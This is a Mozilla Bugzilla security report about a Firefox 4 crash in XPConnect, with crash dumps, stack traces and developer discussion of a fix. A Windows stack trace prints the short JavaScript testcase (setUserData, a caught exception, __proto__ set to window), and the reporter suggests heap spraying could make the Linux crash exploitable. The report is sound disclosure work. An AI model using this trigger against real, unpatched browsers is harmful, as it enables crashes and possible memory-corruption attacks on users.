Closed Bug 645560 Opened 14 years ago Closed 11 years ago

Crash with setUserData, Exception and __proto__

Categories

(Core :: XPConnect, defect)

x86_64
Linux
defect
Not set
critical

Tracking

()

RESOLVED FIXED
Tracking Status
firefox-esr17 --- wontfix
firefox-esr24 --- unaffected
b2g18 --- wontfix

People

(Reporter: nils, Unassigned)

Details

(Keywords: crash, sec-moderate, testcase, Whiteboard: [see comment 15])

Attachments

(2 files)

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0 Build Identifier: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0) Gecko/20100101 Firefox/4.0 Description: The attached testcase crashes Firefox 4.0 on Linux. Windows and Mac do not seem to be affected. The debug build on Linux did not crash either, no assertions were triggered. Depending on which attribute of o680 is accessed the crash manifests in different locations in the code. Affected Versions: Firefox 4.0 (Linux) Build id: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0) Gecko/20100101 Firefox/4.0 Testcase: The testcase is attached as an HTML file. It will crash the browser on Linux. Crash: Program received signal SIGSEGV, Segmentation fault. 0xf741b172 in ?? () from ./libxul.so (gdb) info reg eax 0xe6627240 -429755840 ecx 0xb 11 edx 0x74706972 1953524082 ebx 0xf7f34ebc -135049540 esp 0xffffbb70 0xffffbb70 ebp 0x0 0x0 esi 0xe7bcb178 -407064200 edi 0xe8d4e5e8 -388700696 eip 0xf741b172 0xf741b172 eflags 0x10202 [ IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/10i $eip => 0xf741b172: mov 0x8(%edx),%esi VulnDev reference : vd11005 reported by nils of vulndev ltd. Reproducible: Always
Attached file testcase (crashes browser) (deleted) —
Can't reproduce on 32bitLinux/trunk
Olli, is that a debug build. I just confirmed on: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.2a1pre) Gecko/20110327 Firefox/4.2a1pre
I was testing a non-debug build.
I tested just also a 32bit debug build, and no luck reproducing. I'll test on 64bit linux soon.
can't reproduce on 64bit either (not in opt not debug build). All I get is JavaScript error: , line 0: uncaught exception: [Exception... "Could not convert JavaScript argument" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: https://bug645560.bugzilla.mozilla.org/attachment.cgi?id=522250&t=rluMolJA5l :: <TOP_LEVEL> :: line 14" data: no] I tested also the release version of 64bit Fx4 and no crash. My 32bit system is Fedora 13, 64bit is Fedora 14, if that matters.
I am testing on a 64bit Ubuntu 10.10 running Firefox as a 32 bit process. I get the crash for example with Firefox from: ftp://ftp.mozilla.org/pub/firefox/releases/4.0/linux-i686/en-US/firefox-4.0.tar.bz2 Others are crashing as well, e.g. trunk. I will try the 64bit process now.
No crash with 64bit FF on Ubuntu. Same JavaScript error, though. toString() on o680 returns: [xpconnect wrapped (nsISupports, nsIXPCException, nsIException)] Is that expected?
Ok, on 32bit linux Fx4.0 (the release build) crashes here.
A slightly changed test case crashes Windows as well as follows (null-pointer deref): xul!XPC_WN_Helper_GetProperty(struct JSContext * cx = 0x6e08a949, struct JSObject * obj = 0x0977fa00, int id = 155214720, unsigned int64 * vp = 0x09406380)+0x51 mozjs!js::Shape::get(struct JSContext * cx = 0x0977fa00, struct JSObject * receiver = 0x09406380, struct JSObject * obj = 0x09406380, struct JSObject * pobj = 0x09404190, class js::Value * vp = 0x0036ccc0)+0x9d mozjs!js_GetPropertyHelper(struct JSContext * cx = 0x09406380, struct JSObject * obj = 0xffff0007, int id = 1, unsigned int getHow = 0x40000038, class js::Value * vp = 0x094aa498)+0x3b9 mozjs!js::Interpret(struct JSContext * cx = 0x0977fa00, struct JSStackFrame * entryFrame = 0x07a40030, unsigned int inlineCallCount = 0, JSInterpMode interpMode = JSINTERP_NORMAL (0))+0x58da mozjs!js::RunScript(struct JSContext * cx = 0x0977fa00, struct JSScript * script = 0x0abdd600, struct JSStackFrame * fp = 0x07a40030)+0xb1 mozjs!js::Execute(struct JSContext * cx = 0x0977fa00, struct JSObject * chain = 0x09404190, struct JSScript * script = 0x0abdd600, struct JSStackFrame * prev = 0x00000000, unsigned int flags = 0, class js::Value * result = 0x00000000)+0x3cf mozjs!EvaluateUCScriptForPrincipalsCommon(struct JSContext * cx = 0x0977fa00, struct JSObject * obj = 0x09404190, struct JSPrincipals * principals = 0x083a77e4, wchar_t * chars = 0x08171c08 ".o1=document.createElement('input');.o7=document.createElement('tr');..o1.appendChild(o7);..o121=o7.setUserData('key',o1,function(){});.o147=o7.setUserData('key',o1,function(){});..o430=document.createElementNS('http://www.w3.org/1999/xhtml','script');.o640=o430.__proto__;.try{o640.style;}catch(e){exc=e;void 0;}o680=exc;.o680.__proto__=window;.o680.location;.", unsigned int length = 0x169, char * filename = 0x00000001 "--- memory read error at address 0x00000001 ---", unsigned int lineno = 0, unsigned int64 * rval = 0x00000000, JSVersion compileVersion = 1 (No matching enumerant))+0x85 mozjs!JS_EvaluateUCScriptForPrincipalsVersion(struct JSContext * cx = 0x68ae79d8, struct JSObject * obj = 0x0c3e1194, struct JSPrincipals * principals = 0x0977fa00, wchar_t * chars = 0x68a8f6a0 "眷栧ᥒ栧撬栧픍栺???", unsigned int length = 0, char * filename = 0x01010101 "--- memory read error at address 0x01010101 ---", unsigned int lineno = 1, unsigned int64 * rval = 0x0000ee08, JSVersion version = 139865096 (No matching enumerant))+0x41 xul!nsJSContext::EvaluateString(class nsAString_internal * aScript = 0x68ae79d8, void * aScopeObject = 0x0c3e1194, class nsIPrincipal * aPrincipal = 0x0977fa00, char * aURL = 0x68a8f6a0 "7w'hR???", unsigned int aLineNo = 0, unsigned int aVersion = 0x1010101, class nsAString_internal * aRetValue = 0x00000001, int * aIsUndefined = 0x0000ee08)+0x1d2 xul!nsScriptLoader::EvaluateScript(class nsScriptLoadRequest * aRequest = 0x00000001, class nsString * aScript = <Memory access error>)+0x17b xul!nsTextNode::Release(void)+0x11 xul!nsCycleCollectingAutoRefCnt::decr(class nsISupports * owner = <Memory access error>)+0x4b xul!nsHtml5Parser::Release(void)+0x11 xul!nsRefPtr<nsPresContext>::~nsRefPtr<nsPresContext>(void)+0xe xul!nsIScriptElement::BeginEvaluating(void)+0x3f xul!nsScriptLoader::ProcessRequest(class nsScriptLoadRequest * aRequest = 0x09406380)+0x11f xul!nsScriptLoader::ProcessScriptElement(class nsIScriptElement * aElement = 0x0ae46eb4)+0x2f0 xul!nsScriptElement::MaybeProcessScript(void)+0xcf xul!nsHTMLScriptElement::MaybeProcessScript(void)+0x1d xul!nsHTMLScriptElement::DoneAddingChildren(int aHaveNotified = 1745040353)+0x12 xul!nsHtml5TreeOpExecutor::RunScript(class nsIContent * aScriptElement = 0x0ae46eb4)+0x93 xul!nsHtml5TreeOpExecutor::RunFlushLoop(void)+0x2e1 xul!nsHtml5ExecutorFlusher::Run(void)+0x11 xul!nsThread::ProcessNextEvent(int mayWait = 0, int * result = 0x00000000)+0x177 xul!mozilla::ipc::MessagePump::Run(class base::MessagePump::Delegate * aDelegate = 0x68a734ec)+0x6a xul!MessageLoop::RunInternal(void)+0x11 xul!MessageLoop::RunHandler(void)+0x1d nspr4!PR_GetThreadPrivate(unsigned int index = 0x740c8b90)+0x20 xul!nsBaseAppShell::Run(void)+0x34 xul!nsAppShell::Run(void)+0x42 xul!nsAppStartup::Run(void)+0x1e xul!XRE_main(int argc = 1, char ** argv = 0x0052b0a8, struct nsXREAppData * aAppData = 0x00517400)+0xdea firefox!wmain(int argc = 1, wchar_t ** argv = 0x00531790)+0x34c firefox!__tmainCRTStartup(void)+0x152 KERNEL32!BaseThreadInitThunk+0xe ntdll_77010000!__RtlUserThreadStart+0x70 ntdll_77010000!_RtlUserThreadStart+0x1b
Attached file testcase (crashes FF 4.0 on Windows) (deleted) —
Blake, can you have a look? This seems to reproduce...
Assignee: nobody → mrbkap
Status: UNCONFIRMED → NEW
Ever confirmed: true
Whiteboard: [sg:critical?]
Blake?
Oops, I thought I'd already commented. So, I don't think this is actually exploitable, as this is guaranteed to be a null pointer dereference. Unfortunately, fixing it is going to be a little tricky. The best fix that I can think of is to disallow setting the __proto__ of a wrapped native to another wrapped native (the null pointer dereference is because we have two wrapped natives a and b with b on the proto chain of a. b has a class getter. We look up a property on a, which causes b's class getter to be found. XPConnect assumes that the first wrapped native it finds along the prototype chain is the one it wants and we crash trying to get the scriptable helper to call). Jason, can you think of an easy way to check on __proto__ setting to enforce the invariant (and throw if it isn't met) that we only have one wrapped native on the proto chain at any given time?
Options: 1. Make __proto__'s setter throw unless the object being modified is of js_ObjectClass AND not a delegate. This is safest and clearest but it might break the web. 2. Like 1, but also allow setting __proto__ on an arbitrary object, if all objects in the new prototype chain are of js_ObjectClass. This is less breaky, but it starts to feel precarious. 3. Make __proto__'s setter examine the new prototype chain, and for each object on it, check a JSClass flag (or something) to ask if it's OK for that object to serve as a prototype for arbitrary objects. If not, throw. This is even less breaky, but, you know, disgusting.
In other words, it just depends on how much break-the-web risk you're willing to incur for your first attempt. For all I care you could even 0. Make __proto__ readonly
Turning into a DOS bug based on comment 15, although I'm not sure comment 0 looked like a null deref.
Whiteboard: [sg:critical?] → [sg:dos null deref]
(In reply to comment #18) > Turning into a DOS bug based on comment 15, although I'm not sure comment 0 > looked like a null deref. Only the second changed testcase on Windows is a null-deref. The initially submitted testcase, tries to access unallocated memory address ( [0x74706972+0x8]), which could be filled with an attacker controlled value using heapspray techniques.
Keywords: crash, testcase
I have never managed to make the first testcase crash :(.
I can't confirm that this has been resolved. The second testcase still crashes on Windows with a null-pointer deref, whereas the first testcase will crash on Linux. This crash looks potentially exploitable as it is access a non-mapped memory address which could potentially be controlled by an attacker. The gdb output is as follows: Program received signal SIGSEGV, Segmentation fault. nsWrapperCache::GetWrapper (this=0x7265766e6f63207c) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/xpconnect/src/xpcpublic.h:182 182 /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/xpconnect/src/xpcpublic.h: No such file or directory. in /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/xpconnect/src/xpcpublic.h (gdb) info reg rax 0x7fffc186bd80 140736440221056 rbx 0x7265766e6f63207c 8243124909658808444 rcx 0x1355c 79196 rdx 0x7fffffffa6f0 140737488332528 rsi 0x7fffc1b9aad8 140736443558616 rdi 0x7265766e6f63207c 8243124909658808444 rbp 0x7fffc1b9aad8 0x7fffc1b9aad8 rsp 0x7fffffffa1f0 0x7fffffffa1f0 r8 0x7fffffffa288 140737488331400 r9 0x7fffffffa6f0 140737488332528 r10 0x7fffc1b60340 140736443319104 r11 0x7fffc1b9aad8 140736443558616 r12 0x0 0 r13 0x7fffffffa6f0 140737488332528 r14 0x7265766e6f63207c 8243124909658808444 r15 0x1 1 rip 0x7ffff3ed123d 0x7ffff3ed123d <nsWrapperCache::GetWrapper() const+1> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/10i $rip => 0x7ffff3ed123d <nsWrapperCache::GetWrapper() const+1>: mov (%rdi),%rbx 0x7ffff3ed1240 <nsWrapperCache::GetWrapper() const+4>: and $0xfffffffffffffffc,%rbx 0x7ffff3ed1244 <nsWrapperCache::GetWrapper() const+8>: je 0x7ffff3ed1257 <nsWrapperCache::GetWrapper() const+27> 0x7ffff3ed1246 <nsWrapperCache::GetWrapper() const+10>: mov $0x1,%esi 0x7ffff3ed124b <nsWrapperCache::GetWrapper() const+15>: mov %rbx,%rdi 0x7ffff3ed124e <nsWrapperCache::GetWrapper() const+18>: callq 0x7ffff3c29e90 <_Z18js_GCThingIsMarkedPvj@plt> 0x7ffff3ed1253 <nsWrapperCache::GetWrapper() const+23>: test %al,%al 0x7ffff3ed1255 <nsWrapperCache::GetWrapper() const+25>: jne 0x7ffff3ed125c <nsWrapperCache::GetWrapper() const+32> 0x7ffff3ed1257 <nsWrapperCache::GetWrapper() const+27>: mov %rbx,%rax 0x7ffff3ed125a <nsWrapperCache::GetWrapper() const+30>: pop %rbx (gdb) bt 10 #0 nsWrapperCache::GetWrapper (this=0x7265766e6f63207c) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/xpconnect/src/xpcpublic.h:182 #1 0x00007ffff3ed1283 in xpc_FastGetCachedWrapper (cache=0x7265766e6f63207c, scope=0x7fffc1b9aad8, vp=0x7fffffffa6f0) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/xpconnect/src/xpcpublic.h:124 #2 0x00007ffff42d3604 in nsIDOMNode_GetOwnerDocument (cx=<optimized out>, obj=0x7fffc1b9aad8, id=<optimized out>, vp=0x7fffffffa6f0) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/obj-x86_64-linux-gnu/js/src/xpconnect/src/dom_quickstubs.cpp:6678 #3 0x00007ffff4877e04 in CallJSPropertyOp (id=<optimized out>, op=<optimized out>, vp=0x7fffffffa6f0, receiver=0x7fffc1b9aad8, cx=0x7fffdc1e4c00) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jscntxtinlines.h:346 #4 get (vp=0x7fffffffa6f0, pobj=0x7fffc1b9a608, obj=0x7fffc1b9aad8, receiver=0x7fffc1b9aad8, cx=0x7fffdc1e4c00, this=0x7fffc4470e40) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsscopeinlines.h:293 #5 js_NativeGetInline (getHow=1, vp=0x7fffffffa6f0, shape=0x7fffc4470e40, pobj=0x7fffc1b9a608, obj=0x7fffc1b9aad8, receiver=0x7fffc1b9aad8, cx=0x7fffdc1e4c00) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsobj.cpp:5741 #6 js_GetPropertyHelperInline (vp=0x7fffffffa6f0, getHow=1, id=<optimized out>, receiver=0x7fffc1b9aad8, obj=0x7fffc1b9aad8, cx=0x7fffdc1e4c00) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsobj.cpp:5921 #7 js_GetPropertyHelper (cx=0x7fffdc1e4c00, obj=0x7fffc1b9aad8, id=<optimized out>, getHow=1, vp=0x7fffffffa6f0) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsobj.cpp:5930 #8 0x00007ffff484b412 in js::Interpret (cx=0x7fffdc1e4c00, entryFrame=0x7fffdf9fe030, interpMode=js::JSINTERP_NORMAL) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsinterp.cpp:3563 #9 0x00007ffff485ddd8 in ExecuteKernel (result=0x0, thisv=..., scopeChain=<optimized out>, script=0x7fffc1b60340, cx=0x7fffdc1e4c00, type=<optimized out>, evalInFrame=<optimized out>) at /build/buildd/firefox-9.0.1+build1/build-tree/mozilla/js/src/jsinterp.cpp:814 (More stack frames follow...)
OS: Windows 7 → Linux
Hardware: x86 → x86_64
Whiteboard: [sg:dos null deref]
I tried this out just now, and on OSX with Firefox 12, I get no crash on the first test case, and a null deref on the second case: https://crash-stats.mozilla.com/report/index/8db5fee9-f3e4-46d0-ba4a-fc8ac2120520 This also sounds like more of an XPConnect problem than a DOM one, based on comment 15, if that matters.
Component: DOM → XPConnect
QA Contact: general → xpconnect
I'm going to guess that Blake isn't actually working on this. :)
Assignee: mrbkap → nobody
Whiteboard: [see comment 15]
This might be able to be demoted. Do we now what happened since comment 22 - is it something from Gary's range in comment 21? Maybe Blake or Jason have a hunch?
In comment 22 we see an apparently ascii value (in rdi) being dereferenced, that doesn't look like a dog issue to me.
In comment 22 we see an apparently ascii value (in rdi) being dereferenced, that doesn't look like a dos issue to me.
Status: NEW → RESOLVED
Closed: 11 years ago
Resolution: --- → FIXED
We're not going to backport the new bindings to b2g18 either, FxOS 1.2 (based on Fx26) is almost done.
Group: core-security → core-security-release
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: